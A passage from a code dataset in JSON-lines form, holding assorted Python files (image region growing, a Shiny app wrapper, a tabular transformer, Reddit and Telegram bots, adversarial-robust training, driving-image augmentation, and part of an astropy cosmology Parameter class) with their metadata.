../'+input_files[2]+' -e 10 --batches '+batches)\n\nos.chdir('..')\n\nif os.path.isdir('run_output/'):\n\tshutil.rmtree('run_output/')\n\nos.mkdir('run_output')\nos.system('cp Make_Tcl/'+out_name+'.tcl run_output/')\nos.chdir('run_output')\nos.system('tclsh '+out_name+'.tcl')\n\n\n","sub_path":"general_subset.py","file_name":"general_subset.py","file_ext":"py","file_size_in_byte":10370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"306811846","text":"import cv2\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\nclass Point(object):\n def __init__(self, x, y):\n self.x = x\n self.y = y\n\n def get_x(self):\n return self.x\n\n def get_y(self):\n return self.y\n\n\nclass RegionGrow(object):\n def __init__(self, img, seeds, thresh=5, points_num=8):\n self.img = img\n self.seeds = seeds\n self.thresh = thresh\n self.points_num = points_num\n\n def gray_diff(self, cur_point, tmp_point):\n return abs(int(self.img[cur_point.x, cur_point.y]) - int(self.img[tmp_point.x, tmp_point.y]))\n\n def select_connects(self):\n connects = []\n if self.points_num == 8:\n connects = [Point(-1, -1), Point(0, -1), Point(1, -1), Point(1, 0), Point(1, 1),\n Point(0, 1), Point(-1, 1), Point(-1, 0)]\n elif self.points_num == 4:\n connects = [Point(0, -1), Point(1, 0), Point(0, 1), Point(-1, 0)]\n return connects\n\n def region_grow(self):\n img = self.img\n height, weight = img.shape[:2]\n seed_mark = np.zeros(img.shape)\n seed_list = self.seeds\n\n label = 1\n connects = self.select_connects()\n while len(seed_list) > 0:\n cur_point = seed_list.pop(0)\n seed_mark[cur_point.x, cur_point.y] = label\n for i in range(self.points_num):\n tmp_x = cur_point.x + connects[i].x\n tmp_y = cur_point.y + connects[i].y\n if tmp_x < 0 or tmp_y < 0 or tmp_x >= height or tmp_y >= weight:\n continue\n diff = self.gray_diff(cur_point, Point(tmp_x, tmp_y))\n if diff < self.thresh and seed_mark[tmp_x, tmp_y] == 0:\n seed_mark[tmp_x, tmp_y] = label\n seed_list.append(Point(tmp_x, tmp_y))\n return seed_mark\n\n\nif __name__ == '__main__':\n\n fig, ax = plt.subplots(1, figsize=(12, 12))\n im = plt.imread('./output/overlap.jpg')\n\n plt.imshow(im)\n pos = plt.ginput(-1)\n plt.show()\n\n seed_point = []\n seed_point_copy = []\n for seed in pos:\n seed_point.append(Point(int(seed[1]), int(seed[0])))\n seed_point_copy.append(Point(int(seed[1]), int(seed[0])))\n\n image1 = cv2.imread('./input/sample1.tif')\n image1 = cv2.cvtColor(image1, cv2.COLOR_BGR2LAB)\n L1, A1, B1 = cv2.split(image1)\n src1 = RegionGrow(L1, seed_point, thresh=13, points_num=8)\n result1 = src1.region_grow()\n\n image2 = cv2.imread('./input/sample2.tif')\n image2 = cv2.cvtColor(image2, cv2.COLOR_BGR2LAB)\n L2, A2, B2 = cv2.split(image2)\n src2 = RegionGrow(L2, seed_point_copy, thresh=5, points_num=8)\n result2 = src2.region_grow()\n\n cv2.imwrite('./output/buildings1.jpg', result1 * 255)\n cv2.imwrite('./output/buildings2.jpg', result2 * 255)\n","sub_path":"overlap/overlap.py","file_name":"overlap.py","file_ext":"py","file_size_in_byte":2827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"488824907","text":"import os \r\nimport sys\r\nimport time\r\n\r\ninput_list = open(sys.argv[1], 'r')\r\nprey_input = open(sys.argv[2], 'r')\r\nstamped_app = r\"shiny_bubble\" + str(time.strftime('_%d_%m_%Y_%H_%M')) \r\ncmd = r\"cp -r /srv/shiny-server/shiny_bubble /srv/shiny-server/\" + str(stamped_app) \r\nos.system(cmd)\r\n\r\nif sys.argv[3] != 'None':\r\n\tcrapome = open(sys.argv[3], 'r')\r\n\tcrap_file = open('/srv/shiny-server/'+ str(stamped_app) + '/craptest.txt', 'w')\r\n\tglob_manip = open('/srv/shiny-server/shiny_bubble/global.R', 'r')\r\n\tglob_write = open('/srv/shiny-server/'+ str(stamped_app) + '/global.R', 'w')\r\n\tfor code_line in glob_manip:\r\n\t\tif r\"main.data <- as.data.frame\\(merge_files\" in code_line:\r\n\t\t\tglob_write.write(r\"main.data <- as.data.frame(merge_files(\\\"test_list.txt\\\", \\\"preytest.txt\\\", \\\"craptest.txt\\\"))\")\r\n\t\telse:\r\n\t\t\tglob_write.write(code_line)\r\n\tfor line in crapome:\r\n\t\tcrap_file.write(line)\r\n\r\ninput_file = open('/srv/shiny-server/'+ str(stamped_app) + '/test_list.txt', 'w')\r\nfor line in input_list:\r\n\tinput_file.write(line)\r\nprey_file = open('/srv/shiny-server/'+ str(stamped_app) + '/preytest.txt', 'w')\r\nfor line in prey_input:\r\n\tprey_file.write(line)\r\n\r\n\r\n\r\n\r\n#cmd1 = r\"touch '/srv/shiny-server/\" + str(stamped_app) + r\"/restart.txt\"\r\n#os.system(cmd1)\r\n\r\nwith open(\"shiny.txt\", \"wt\") as x:\r\n\tx.write(\" open     Shiny Bubblebeam in your browser to view shiny app. If there are issues with the sizing within galaxy you can right click and open in a new tab or window.\")\r\n\r\nos.rename('shiny.txt', str(sys.argv[4]))\r\n","sub_path":"tools/Moffitt_Tools/shiny_wrapper.py","file_name":"shiny_wrapper.py","file_ext":"py","file_size_in_byte":1593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"104336785","text":"\"\"\"\nRevisiting Deep Learning Models for Tabular Data\nhttps://arxiv.org/abs/2106.11959\n\"\"\"\n\nimport logging\nfrom typing import Optional\n\nimport torch.nn as nn\nfrom torch import Tensor\n\nfrom deep_table.nn.encoders.backbone.base import BaseBackbone\nfrom deep_table.nn.layers.transformer import TransformerEncoderLayer\n\nlogger = logging.getLogger(__name__)\n\n\nclass FTTransformerBackbone(BaseBackbone):\n def __init__(\n self,\n num_features: int,\n dim_embed: int,\n use_cls: bool = True,\n n_blocks: int = 3,\n n_heads: int = 4,\n dim_head: Optional[int] = None,\n dim_feedforward: int = 256,\n dropout: float = 0.1,\n activation: str = \"relu\",\n ) -> None:\n \"\"\"\n Args:\n num_features (int)\n dim_embed (int)\n use_cls (bool): Defaults to True.\n n_blocks (int): Defaults to 3.\n n_heads (int): Defaults to 4.\n dim_head (int, optional)\n dim_feedforward (int): Defaults to 256.\n dropout (float): Defaults to 0.1.\n activation (str): {\"relu\", \"gelu\"}. Defaults to \"relu\".\n \"\"\"\n super().__init__()\n self.dim_embed = dim_embed\n self.num_features = num_features\n self.use_cls = use_cls\n self.transformer = nn.ModuleList(\n [\n TransformerEncoderLayer(\n d_model=dim_embed,\n n_heads=n_heads,\n dim_head=dim_head,\n dim_feedforward=dim_feedforward,\n dropout=dropout,\n activation=activation,\n )\n for _ in range(n_blocks)\n ]\n )\n\n def dim_out(self, is_pretrain: bool = False) -> int:\n if not is_pretrain and self.use_cls:\n return self.dim_embed\n else:\n return self.num_features * self.dim_embed\n\n def forward(self, x: Tensor) -> Tensor:\n for transformer in self.transformer:\n x = transformer(x)\n return x\n","sub_path":"deep_table/nn/encoders/backbone/ft_transformer.py","file_name":"ft_transformer.py","file_ext":"py","file_size_in_byte":2054,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"576720758","text":"default_char = '@'\n\n# ====== IMPORTS ======\n# For copying the cached variable\nimport copy\n\n# For printing undefined chars.\nfrom util.output import try_print\n\n# Reddit API\nimport praw\n\nclass RedditInstance:\n # ====== STORAGE FOR POSTS ======\n # This will contain a dictionary, one entry per subreddit.\n # Each entry will be a list of posts. Posts are dictionaries.\n # post = {'title':'test', 'score':'41232', 'link':'www.example.com'}\n # posts = [post1, post2, post3, post4]\n # formatted_complete = {'subreddit_name': posts}\n _cached_posts_dict = {}\n\n # Constructor\n def __init__(self, id, secret, user_agent):\n self._reddit_instance = praw.Reddit(client_id=id,\n client_secret=secret,\n user_agent=user_agent)\n\n # Default search variable values.\n # This dictuionary contains data in the form 'subreddit : number of posts to print'\n self._subreddit_dict = {'all': 5, 'news': 5, 'worldnews': 10}\n self._timeframe = 'day'\n\n self.update()\n\n # Mutators\n def add_subreddit(self, subreddit, num_posts):\n try:\n self._subreddit_dict[str(subreddit)] = int(num_posts)\n except Exception as e:\n print(\"Invalid input to add_subreddit.\\n\" + str(e))\n\n def remove_subreddit(self, subreddit):\n try:\n return self._subreddit_dict.pop(subreddit)\n except Exception:\n return None\n\n def update(self):\n unformatted = self._get_all_posts()\n\n # Create the empty dictionary\n formatted_complete = {}\n\n # For each subreddit\n for subreddit in unformatted.keys():\n\n # Create a new empty list of posts.\n formatted_post_list = []\n\n for post in unformatted[subreddit]:\n # Create a new empty dictionary for each post.\n formatted_post = {'title': post.title, 'score': post.score, 'link': post.url}\n\n formatted_post_list.append(formatted_post.copy())\n\n formatted_complete[subreddit] = formatted_post_list.copy()\n\n self._cached_posts_dict = formatted_complete\n\n return copy.deepcopy(self._cached_posts_dict)\n\n # Accessors\n def get_cached_posts_dict(self):\n return copy.deepcopy(self._cached_posts_dict)\n\n def print(self):\n print(\"\\n============ Top posts of Leddit ============\")\n\n for subreddit in self._cached_posts_dict.keys():\n print(\"Subreddit: \" + subreddit)\n\n # Sort the posts by score for printing.\n sorted_list = self._cached_posts_dict[subreddit].copy()\n sorted_list.sort(key=lambda post: post['score'], reverse=True)\n\n # Index is the printing index that shows on screen.\n index = 1\n for post in sorted_list:\n # @Cleanup: make the spacing for the printouts nicer\n print(\"\\t\" + str(index), end=') ')\n print(\"[\" + str(post['score']) + \"]\", end='')\n print(\"[\" + \"LINK\" + \"] \", end='')\n\n try_print(post['title'], '')\n print()\n index += 1\n\n # Private internal functions\n def _get_all_posts(self):\n \"\"\"\n :return: Returns a dict mapping Subreddits to lists of Submissions. Still needs to be decoded.\n \"\"\"\n\n complete_subreddit_dict = {}\n master_titles_list = []\n\n for subreddit in self._subreddit_dict.keys():\n posts_for_current_subreddit = []\n for post in self._get_posts_for_subreddit(subreddit):\n post_title = post.title\n if post_title not in master_titles_list:\n posts_for_current_subreddit.append(post)\n\n # Sort the posts for the current subreddit by score.\n posts_for_current_subreddit.sort(key=lambda post: post.score, reverse=True)\n\n # Append the list of posts for this subreddit to the master dict.\n complete_subreddit_dict[subreddit] = posts_for_current_subreddit.copy()\n\n return complete_subreddit_dict\n\n def _get_posts_for_subreddit(self, sub):\n return self._reddit_instance.subreddit(sub).top(time_filter=self._timeframe,\n limit=int(self._subreddit_dict[sub]))\n","sub_path":"src/reddit_api/reddit.py","file_name":"reddit.py","file_ext":"py","file_size_in_byte":4368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"334124966","text":"#!/usr/bin/env python\n# encoding: utf-8\n\n\"\"\"\nFile: bot.py\nAuthor: Julius Tens\nE-Mail: mail@julius-tens.de\nWeb: https://github.com/juliuste\nDate: 10.05.2016\n\nWortwürfelBot, requests the (german) Wiktionary API for a random entry. \n\"\"\"\n\nimport telebot, request\n\nbotkey = 'INSERT YOUR BOT KEY HERE'\n\nbot = telebot.TeleBot(botkey)\n\nmarkup = telebot.types.ReplyKeyboardMarkup()\nbutton1 = telebot.types.KeyboardButton('RAUSHAUEN')\nbutton2 = telebot.types.KeyboardButton('langes Wort')\nmarkup.add(button1, button2)\n\n@bot.message_handler(func=lambda message: message.text == 'langes Wort')\ndef send_longWord(message):\n\tbot.send_message(message.chat.id, request.randomLongWord(), reply_markup=markup)\n\n@bot.message_handler(func=lambda message: message.text != 'langes Wort')\ndef send_longWord(message):\n\tbot.send_message(message.chat.id, request.randomWord(), reply_markup=markup)\n\nprint('WortwürfelBot is running...')\n\nbot.polling()","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":926,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"115652124","text":"\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nfrom convex_adversarial import robust_loss, robust_loss_parallel\nimport torch.optim as optim\n\nimport numpy as np\nimport time\nimport gc\n\nfrom trainer import *\nimport cv2 as cv\nimport random\n\ndef train_ibp(loader, model, opt, epsilon, epoch, log, verbose):\n batch_time = AverageMeter()\n data_time = AverageMeter()\n losses = AverageMeter()\n errors = AverageMeter()\n\n model.train()\n\n end = time.time()\n for i, (X,y) in enumerate(loader):\n X,y = X.cuda(), y.cuda()\n data_time.update(time.time() - end)\n\n\n alpha = 0.5\n out = model(Variable(X))\n out_l, out_h = model.forward2(Variable(X - epsilon), Variable(X + epsilon))\n out_hat = out_h\n for i in range(out_l.shape[0]):\n out_hat[i][y[i]] = out_l[i][y[i]]\n ce = alpha * nn.CrossEntropyLoss()(out, Variable(y)) + (1.0-alpha) * nn.CrossEntropyLoss()(out_hat, Variable(y))\n err = (out.data.max(1)[1] != y).float().sum() / X.size(0)\n\n opt.zero_grad()\n ce.backward()\n opt.step()\n\n batch_time.update(time.time()-end)\n end = time.time()\n losses.update(ce.data.item(), X.size(0))\n errors.update(err, X.size(0))\n\n print(epoch, i, ce.data.item(), err, file=log)\n if verbose and i % verbose == 0:\n print('Epoch: [{0}][{1}/{2}]\\t'\n 'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\\t'\n 'Data {data_time.val:.3f} ({data_time.avg:.3f})\\t'\n 'Loss {loss.val:.4f} ({loss.avg:.4f})\\t'\n 'Error {errors.val:.3f} ({errors.avg:.3f})'.format(\n epoch, i, len(loader), batch_time=batch_time,\n data_time=data_time, loss=losses, errors=errors))\n log.flush()\n\n\ndef evaluate_rotations(loader, model, epsilon, epoch, log, verbose):\n batch_time = AverageMeter()\n losses = AverageMeter()\n errors = AverageMeter()\n\n model.eval()\n\n end = time.time()\n for i, (X,y) in enumerate(loader):\n # print(\"Got value of X\")\n # print(X.numpy()[0][0])\n\n npX = np.array(X)\n cols = 28\n rows = 28\n for i in range(npX.shape[0]):\n rotation_degree = random.randint(-15, 15)\n rotation_degree = rotation_degree + 15 * np.sign(rotation_degree)\n # print(\"Random\", rotation_degree)\n M = cv.getRotationMatrix2D((cols / 2, rows / 2), rotation_degree, 1)\n npX[i][0] = cv.warpAffine(npX[i][0], M, (cols, rows))\n # cv.namedWindow('image', cv.WINDOW_NORMAL)\n # cv.imshow('image', npX[i][0])\n # cv.resizeWindow('image', 600, 600)\n # cv.waitKey(0)\n # cv.destroyAllWindows()\n X = torch.from_numpy(npX)\n X,y = X.cuda(), y.cuda()\n out = model(Variable(X))\n ce = nn.CrossEntropyLoss()(out, Variable(y))\n err = (out.data.max(1)[1] != y).float().sum() / X.size(0)\n\n # print to logfile\n print(epoch, i, ce.data.item(), err, file=log)\n\n # measure accuracy and record loss\n losses.update(ce.data.item(), X.size(0))\n errors.update(err, X.size(0))\n\n # measure elapsed time\n batch_time.update(time.time() - end)\n end = time.time()\n\n if verbose and i % verbose == 0:\n print('Test: [{0}/{1}]\\t'\n 'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\\t'\n 'Loss {loss.val:.4f} ({loss.avg:.4f})\\t'\n 'Error {error.val:.3f} ({error.avg:.3f})'.format(\n i, len(loader), batch_time=batch_time, loss=losses,\n error=errors))\n log.flush()\n\n print(' * Error {error.avg:.3f}'\n .format(error=errors))\n return errors.avg\n","sub_path":"examples/trainer2.py","file_name":"trainer2.py","file_ext":"py","file_size_in_byte":3814,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"4567100","text":"import numpy as np\nimport os\nimport pandas as pd\nimport cv2\nfrom scipy import ndimage\nimport skimage\nfrom sklearn.utils import shuffle\n\nSIMULATOR_HOME = \"../data/\"\nDRIVING_LOG_FILE = \"driving_log.csv\"\nDRIVING_LOG_FILE_PATH = os.path.join(SIMULATOR_HOME, DRIVING_LOG_FILE)\nIMAGE_PATH = os.path.join(SIMULATOR_HOME, \"IMG\")\ndriving_log = pd.read_csv(DRIVING_LOG_FILE_PATH)\ndriving_log.columns = [\"center\", \"left\", \"right\", \"steering\", \"throttle\", \"brake\", \"speed\"]\ndriving_log[\"new\"] = 0\n\nMY_DATA_HOME = \"../mydata/\"\nMY_LOG_FILE_PATH = os.path.join(MY_DATA_HOME, DRIVING_LOG_FILE)\nMY_IMAGE_PATH = os.path.join(MY_DATA_HOME, \"IMG\")\nmy_driving_log = pd.read_csv(MY_LOG_FILE_PATH)\nmy_driving_log.columns = [\"center\", \"left\", \"right\", \"steering\", \"throttle\", \"brake\", \"speed\"]\nmy_driving_log[\"new\"] = 1\n\nall_driving = pd.concat([driving_log,my_driving_log]).reset_index(drop=True)\n\n############################\n# Functions for Loading data\n############################\n\ndef load_data_from_frames():\n offset = 1.2\n dist = 100.0\n\n df_cn = all_driving.copy()[[\"center\", \"steering\", \"new\"]]\n df_cn.columns = [\"image_path\", \"angle\", \"new\"]\n\n df_lf = all_driving.copy()[[\"left\", \"steering\", \"new\"]]\n df_lf.columns = [\"image_path\", \"angle\", \"new\"]\n dsteering = -offset / dist * 360 / (2 * np.pi) / 25.0\n df_lf.angle += dsteering\n\n df_rh = all_driving.copy()[[\"right\", \"steering\", \"new\"]]\n df_rh.columns = [\"image_path\", \"angle\", \"new\"]\n dsteering = offset / dist * 360 / (2 * np.pi) / 25.0\n df_rh.angle -= dsteering\n\n df_all = pd.concat([df_cn, df_lf, df_rh]).reset_index(drop=True)\n return df_all\n\ndef load_training_validation_df(all_data):\n train_data = all_data.sample(frac=0.8, random_state=200123)\n validation_data = all_data.drop(train_data.index)\n return train_data, validation_data\n\n\ndef data_generator_for_vis(df, index=0, batch_size=1):\n m = np.random.randint(0, len(df.index))\n df_batch = df[m: m + batch_size]\n\n # Ignoring the last batch which is smaller than the requested batch size\n #if (df_batch.shape[0] == batch_size):\n X_batch = []\n y_batch = []\n for i , row in df_batch.iterrows():\n img = get_image(row) #row[\"image_path\"].strip()\n angle = row[\"angle\"]\n # Normal image\n X_batch.append(img)\n y_batch.append(angle)\n # Random brightness\n b_img = random_brightness(img)\n # Random Shadow\n sh_img = add_random_shadow(b_img)\n # Random Sheer\n s_img, s_angle = random_shear(sh_img, angle, shear_range=20)\n # Normal with random Translate\n t_img, t_angle = trans_image(s_img, s_angle)\n X_batch.append(t_img)\n y_batch.append(t_angle)\n # Flipped image\n f_img = get_flipped_image(img)\n # Flipped Random brightness\n fb_img = random_brightness(f_img)\n # Flipped Random Shadow\n fsh_img = add_random_shadow(fb_img)\n # Flipped Random Sheer\n fs_img, fs_angle = random_shear(fsh_img, -angle, shear_range=40)\n # Flipped Normal with random Translate\n ft_img, ft_angle = trans_image(fs_img, fs_angle)\n X_batch.append(ft_img)\n y_batch.append(ft_angle)\n\n #X_batch, batch_y = shuffle(X_batch, y_batch)\n\n #X_batch = np.array([get_image(row) for i, row in df_batch.iterrows()])\n #y_batch = np.array([row['angle'] for i, row in df_batch.iterrows()])\n return (np.array(X_batch), np.array(y_batch))\n\ndef data_generator(df, batch_size=128, is_training=1):\n n_rows = df.shape[0]\n while True:\n # Shuffle the data frame rows after every complete cycle through the data\n #df = df.sample(frac=1).reset_index(drop=True)\n\n for index in range(0, n_rows, batch_size):\n df_batch = df[index: index + batch_size]\n\n # Ignoring the last batch which is smaller than the requested batch size\n #if (df_batch.shape[0] == batch_size):\n X_batch = []\n y_batch = []\n for i , row in df_batch.iterrows():\n img = get_image(row) #row[\"image_path\"].strip()\n angle = row[\"angle\"]\n # Normal image\n X_batch.append(img)\n y_batch.append(angle)\n if is_training == 1:\n # Random brightness\n b_img = random_brightness(img)\n # Random Shadow\n sh_img = add_random_shadow(b_img)\n # Random Sheer\n s_img, s_angle = random_shear(sh_img, angle, shear_range=40)\n # Normal with random Translate\n t_img, t_angle = trans_image(s_img, s_angle)\n X_batch.append(t_img)\n y_batch.append(t_angle)\n # Flipped image\n f_img = get_flipped_image(img)\n # Flipped Random brightness\n fb_img = random_brightness(f_img)\n # Flipped Random Shadow\n fsh_img = add_random_shadow(fb_img)\n # Flipped Random Sheer\n fs_img, fs_angle = random_shear(fsh_img, -angle, shear_range=40)\n # Flipped Normal with random Translate\n ft_img, ft_angle = trans_image(fs_img, fs_angle)\n X_batch.append(ft_img)\n y_batch.append(ft_angle)\n\n X_batch, batch_y = shuffle(X_batch, y_batch)\n\n #X_batch = np.array([get_image(row) for i, row in df_batch.iterrows()])\n #y_batch = np.array([row['angle'] for i, row in df_batch.iterrows()])\n yield (np.array(X_batch), np.array(y_batch))\n\ndef old(f_img,img,angle,X_batch,y_batch):\n # Flipped with random Translate and Rotate\n X_batch.append(translateImage(rotateImage(f_img)))\n y_batch.append(-angle)\n # blurred image\n b_img = get_blurred_image(img)\n X_batch.append(b_img)\n y_batch.append(angle)\n # blurred with random Translate and Rotate\n X_batch.append(translateImage(rotateImage(b_img)))\n y_batch.append(angle)\n # Flipped & Blurred image\n f_b_img = get_blurred_image(get_flipped_image(img))\n X_batch.append(f_b_img)\n y_batch.append(-angle)\n # Flipped & Blurred with random Translate and Rotate\n X_batch.append(translateImage(rotateImage(f_b_img)))\n y_batch.append(-angle)\n # Speckled image\n s_img = get_speckled_image(img)\n X_batch.append(s_img)\n y_batch.append(angle)\n # Speckled with random Translate and Rotate\n X_batch.append(translateImage(rotateImage(s_img)))\n y_batch.append(angle)\n # Flipped & Speckled image\n f_s_img = get_speckled_image(get_flipped_image(img))\n X_batch.append(f_s_img)\n y_batch.append(-angle)\n # Flipped & Speckled with random Translate and Rotate\n X_batch.append(translateImage(rotateImage(f_s_img)))\n y_batch.append(-angle)\n\n############################\n# Functions for Loading Images\n############################\n\ndef get_image(row):\n \"\"\"\n For a given row of the df,\n get the Augmented image based on the operations specified\n in it's name\n \"\"\"\n image_name = row[\"image_path\"].strip()\n\n #ops = get_ops(image_name)\n\n #image_name = ops[0]\n\n #ops = ops[1:]\n if row[\"new\"] == 0:\n #print(os.path.join(SIMULATOR_HOME, image_name))\n image = cv2.imread(os.path.join(SIMULATOR_HOME, image_name))\n image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n return image\n else:\n #print(os.path.join(MY_DATA_HOME, image_name))\n image = cv2.imread(os.path.join(MY_DATA_HOME, image_name))\n image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n return image\n\n #for op in ops:\n #if op == \"INV\":\n #image = get_flipped_image(image)\n\n #elif op == \"BLUR\":\n #image = get_blurred_image(image)\n\n #elif op == \"NOISE\":\n #image = get_speckled_image(image)\n\n #return image\n\ndef pre_process(image, top_prop=0.35, bottom_prop=0.1):\n \"\"\"\n - Crop the top `top_prop` and the bottom `bottom_prop` of the image\n - Resize the image to half of it's original size\n \"\"\"\n rows_to_crop_top = int(image.shape[0] * 0.4)\n rows_to_crop_bottom = int(image.shape[0] * 0.1)\n image = image[rows_to_crop_top:image.shape[0] - rows_to_crop_bottom, :]\n\n return cv2.resize(image, (0,0), fx=0.5, fy=0.5)\n\n#############################\n# Functions for Sampling Data\n#############################\n\ndef sampling_data(df,num_bins = 23):\n angles = df[\"angle\"]\n df_length = len(df.index)\n avg_samples_per_bin = df_length / num_bins\n hist, bins = np.histogram(angles, num_bins)\n keep_probs = []\n target = avg_samples_per_bin * .5\n for i in range(num_bins):\n if hist[i] < target:\n keep_probs.append(1.)\n else:\n keep_probs.append(1. / (hist[i] / target))\n remove_list = []\n for i in range(df_length):\n for j in range(num_bins):\n if angles[i] > bins[j] and angles[i] <= bins[j + 1]:\n # delete from X and y with probability 1 - keep_probs[j]\n if np.random.rand() > keep_probs[j]:\n #df.drop(df.index[i], inplace=True)\n remove_list.append(i)\n df.drop(df.index[[idx for idx in remove_list]], inplace=True)\n df.reset_index(drop=True, inplace=True)\n return df\n #image_paths = np.delete(image_paths, remove_list, axis=0)\n #angles = np.delete(angles, remove_list)\n\n\n############################\n# Functions for Augmentation\n############################\n\ndef get_flipped_image(image):\n \"\"\"\n returns image which is flipped about the vertical axis\n \"\"\"\n return cv2.flip(image, 1)\n\n\ndef get_blurred_image(image):\n \"\"\"\n Performs a gaussian blur on the image and returns it\n \"\"\"\n return ndimage.gaussian_filter(image, sigma=1)\n\n\ndef get_speckled_image(image):\n \"\"\"\n Adds random noise to an image\n \"\"\"\n return skimage.img_as_ubyte(skimage.util.random_noise(image.astype(np.uint8), mode='gaussian'))\n\n\ndef translateImage(image):\n t_x = (np.random.randn(1)*.5)[0]\n t_y = (np.random.randn(1)*.5)[0]\n #print(t_x,t_y)\n rows,cols,_ = image.shape\n M = np.float32([[1,0,t_x],[0,1,t_y]])\n dst = cv2.warpAffine(image,M,(cols,rows))\n return dst\n\ndef rotateImage(image):\n theta = (np.random.randn(1)*5)[0]\n #print(theta)\n rows,cols,_ = image.shape\n M = cv2.getRotationMatrix2D((cols/2,rows/2),theta,1)\n dst = cv2.warpAffine(image,M,(cols,rows))\n return dst\n\n\ndef trans_image(image, steer, tx_range=32,ty_range=32):\n # Translation\n rows,cols,_ = image.shape\n tr_x = tx_range * np.random.uniform() - tx_range / 2\n steer_ang = steer + tr_x / tx_range * 2 * .2\n tr_y = ty_range * np.random.uniform() - ty_range / 2\n # tr_y = 0\n Trans_M = np.float32([[1, 0, tr_x], [0, 1, tr_y]])\n image_tr = cv2.warpAffine(image, Trans_M, (cols, rows))\n\n return image_tr, steer_ang\n\ndef add_random_shadow(image):\n top_y = 320*np.random.uniform()\n top_x = 0\n bot_x = 160\n bot_y = 320*np.random.uniform()\n image_hls = cv2.cvtColor(image,cv2.COLOR_RGB2HLS)\n shadow_mask = 0*image_hls[:,:,1]\n X_m = np.mgrid[0:image.shape[0],0:image.shape[1]][0]\n Y_m = np.mgrid[0:image.shape[0],0:image.shape[1]][1]\n shadow_mask[((X_m-top_x)*(bot_y-top_y) -(bot_x - top_x)*(Y_m-top_y) >=0)]=1\n #random_bright = .25+.7*np.random.uniform()\n if np.random.randint(2)==1:\n random_bright = .5\n cond1 = shadow_mask==1\n cond0 = shadow_mask==0\n if np.random.randint(2)==1:\n image_hls[:,:,1][cond1] = image_hls[:,:,1][cond1]*random_bright\n else:\n image_hls[:,:,1][cond0] = image_hls[:,:,1][cond0]*random_bright\n image = cv2.cvtColor(image_hls,cv2.COLOR_HLS2RGB)\n return image\n\n\ndef random_shear(image, steering, shear_range):\n rows, cols, ch = image.shape\n dx = np.random.randint(-shear_range, shear_range + 1)\n # print('dx',dx)\n random_point = [cols / 2 + dx, rows / 2]\n pts1 = np.float32([[0, rows], [cols, rows], [cols / 2, rows / 2]])\n pts2 = np.float32([[0, rows], [cols, rows], random_point])\n dsteering = dx / (rows / 2) * 360 / (2 * np.pi * 25.0) / 10.0\n M = cv2.getAffineTransform(pts1, pts2)\n image = cv2.warpAffine(image, M, (cols, rows), borderMode=1)\n steering += dsteering\n\n return image, steering\n\n\ndef random_brightness(image):\n image1 = cv2.cvtColor(image, cv2.COLOR_RGB2HSV)\n random_bright = 1.0 + 0.1 * (2 * np.random.uniform() - 1.0)\n image1[:, :, 2] = image1[:, :, 2] * random_bright\n image1 = cv2.cvtColor(image1, cv2.COLOR_HSV2RGB)\n return image1","sub_path":"images_generator.py","file_name":"images_generator.py","file_ext":"py","file_size_in_byte":12694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"115734008","text":"# 5) Напишите программу. Есть 2 переменные salary и bonus.\n# Salary - integer, bonus - boolean. Если bonus - true, salary\n# должна быть умножена на 10. Если false - нет\n# 10000, True == '$100000'\n# 25000, True == '$250000'\n# 10000, False == '$10000'\n# 60000, False == '$60000'\nsalary = 5000\nbonus = False\nif bonus == True:\n new_salary = salary * 10\n print(f'{salary}, {bonus} == ${new_salary}')\nelse:\n print(f'{salary}, {bonus} == ${salary}')","sub_path":"courses/lesson3_task5.py","file_name":"lesson3_task5.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"543251629","text":"from .. import yaml\nfrom .parser import subparsers\nfrom .utils import load_and_decrypt_file\n\ndecrypt_file_parser = subparsers.add_parser(\n 'decrypt-file',\n description='Decrypt a Treehugger YAML file in-place.',\n)\ndecrypt_file_parser.add_argument('filename', type=str, help='The path to the file to decrypt')\n\n\ndef decrypt_file(args):\n filename = args.filename\n\n new_data = load_and_decrypt_file(filename)\n yaml.save_file(filename, new_data)\n\n print('Successfully decrypted')\n","sub_path":"treehugger/cli/decrypt_file.py","file_name":"decrypt_file.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"99891251","text":"# Licensed under a 3-clause BSD style license - see LICENSE.rst\n\nimport copy\n\nimport astropy.units as u\n\nfrom ._converter import _REGISTRY_FVALIDATORS, _register_validator\n\n__all__ = []\n\n\nclass Parameter:\n r\"\"\"Cosmological parameter (descriptor).\n\n Should only be used with a :class:`~astropy.cosmology.Cosmology` subclass.\n\n Parameters\n ----------\n derived : bool (optional, keyword-only)\n Whether the Parameter is 'derived', default `False`.\n Derived parameters behave similarly to normal parameters, but are not\n sorted by the |Cosmology| signature (probably not there) and are not\n included in all methods. For reference, see ``Ode0`` in\n ``FlatFLRWMixin``, which removes :math:`\\Omega_{de,0}`` as an\n independent parameter (:math:`\\Omega_{de,0} \\equiv 1 - \\Omega_{tot}`).\n unit : unit-like or None (optional, keyword-only)\n The `~astropy.units.Unit` for the Parameter. If None (default) no\n unit as assumed.\n equivalencies : `~astropy.units.Equivalency` or sequence thereof\n Unit equivalencies for this Parameter.\n fvalidate : callable[[object, object, Any], Any] or str (optional, keyword-only)\n Function to validate the Parameter value from instances of the\n cosmology class. If \"default\", uses default validator to assign units\n (with equivalencies), if 